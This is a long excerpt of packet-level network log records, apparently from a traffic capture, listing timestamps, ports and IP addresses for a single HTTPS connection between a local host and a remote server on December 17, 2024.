Dec 17, 2024 12:14:10.311347008 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.311353922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.311378956 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.311398029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.315227032 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.315246105 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.315294027 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.315301895 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.315383911 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.339210987 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.339231968 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.339283943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.339291096 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.339340925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.342535973 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.342581034 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.342623949 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.342628002 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.342670918 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.346810102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.346837044 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.346884012 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.346890926 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.346934080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.351223946 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.359288931 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.492002964 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.492021084 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.492101908 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.492115021 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.492163897 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.492630005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.496072054 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.496089935 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.496213913 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.496213913 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.496223927 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.499463081 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.499480963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.499521017 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.499542952 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.499588013 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.499674082 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.503453016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.503473997 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.503519058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.503528118 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.503566980 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.503566980 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.506889105 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.506906033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.506942034 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.506949902 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.507004976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.507004976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.507544041 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.508048058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.531408072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.531429052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.531485081 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.531495094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.535006046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.535028934 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.535103083 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.535114050 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.535132885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.538330078 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.538347006 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.538399935 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.538412094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.538429976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.555128098 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.685038090 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.685060024 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.685125113 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.685137033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.685178041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.688354969 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.688374043 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.688467979 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.688467979 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.688479900 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.688528061 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.692610979 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.692629099 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.692663908 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.692672014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.692713976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.692713976 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.695719004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.695744991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.695775986 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.695785046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.695837975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.695837975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.699801922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.699817896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.699860096 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.699868917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.699913979 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.699935913 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.723541975 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.723562956 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.723623991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.723639011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.723727942 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.727145910 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.727164984 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.727225065 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.727236032 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.727287054 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.727680922 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.730515003 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.730531931 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.730581999 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.730603933 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.730654001 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.736526012 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.877307892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.877331018 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.877414942 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.877424955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.877523899 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.880592108 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.880609035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.880681038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.880718946 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.880726099 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.880805016 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.884548903 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.884567976 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.884620905 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.884644032 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.884761095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.887851000 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.887871027 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.887921095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.887932062 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.888082981 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.891943932 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.891964912 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.892188072 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.892201900 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.892354965 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.915579081 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.915600061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.915683031 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.915683031 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.915693998 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.915738106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.919320107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.919337988 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.919414997 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.919414997 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.919440031 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.919517040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.922629118 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.922651052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.922712088 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.922723055 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:10.922765017 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:10.923291922 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.069189072 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.069242954 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.069278002 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.069298029 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.069349051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.069349051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.072765112 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.072787046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.073026896 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.073034048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.073158026 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.076895952 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.076913118 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.077007055 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.077018023 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.077099085 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.080205917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.080224991 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.080316067 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.080326080 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.080372095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.084225893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.084261894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.084338903 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.084346056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.084356070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.084449053 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.300184965 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.300215960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.300297022 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.300309896 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.300358057 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.303514004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.303534031 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.303592920 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.303601980 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.303622007 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.303690910 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.307730913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.307748079 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.308057070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.308057070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.308084011 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.308254004 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.311292887 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.311345100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.311357021 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.311367035 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.311410904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.315011024 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.315026999 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.315135956 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.315146923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.315335035 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.318840027 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.318856955 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.318924904 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.318933964 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.318973064 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.322808981 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.322838068 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.322945118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.322946072 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.322957039 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.323005915 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.326050997 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.326091051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.326123953 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.326131105 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.326179981 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.326179981 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.343147993 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.493175983 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.493199110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.493254900 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.493269920 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.493359089 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.493359089 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.496022940 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.496042013 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.496151924 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.496161938 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.496273041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.500165939 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.500183105 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.500245094 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.500257015 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.500358105 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.504203081 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.504246950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.504297972 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.504307032 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.504376888 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.504376888 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.507550001 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.507566929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.507654905 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.507663012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.507752895 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.510984898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.511007071 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.511044025 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.511054039 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.511141062 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.511141062 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.514801025 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.514817953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.514908075 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.514908075 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.514918089 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.515019894 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.518356085 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.518404961 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.518430948 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.518439054 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.518524885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.518524885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.685185909 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.685203075 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.685324907 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.685343027 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.685570002 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.688363075 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.688381910 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.688457966 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.688467979 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.688661098 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.692419052 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.692436934 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.692537069 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.692547083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.692635059 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.696018934 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.696072102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.696120977 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.696127892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.696177959 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.696177959 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.699100971 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.699125051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.699204922 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.699210882 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.699317932 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.703197956 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.703217030 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.703305960 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.703322887 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.703392029 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.706929922 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.706948042 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.707140923 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.707150936 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.707237959 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.710501909 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.710526943 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.711334944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.711344004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:11.711407900 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:11.985887051 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.078053951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.078075886 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.078169107 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.078169107 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.078180075 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.078234911 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.078974962 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.078993082 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.079030037 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.079045057 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.079118967 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.079782009 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.079797983 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.079885006 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.079885006 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.079891920 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.079957962 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:12.080929995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:12.080948114 CET	443	49866	162.125.65.15	192.168.2.6
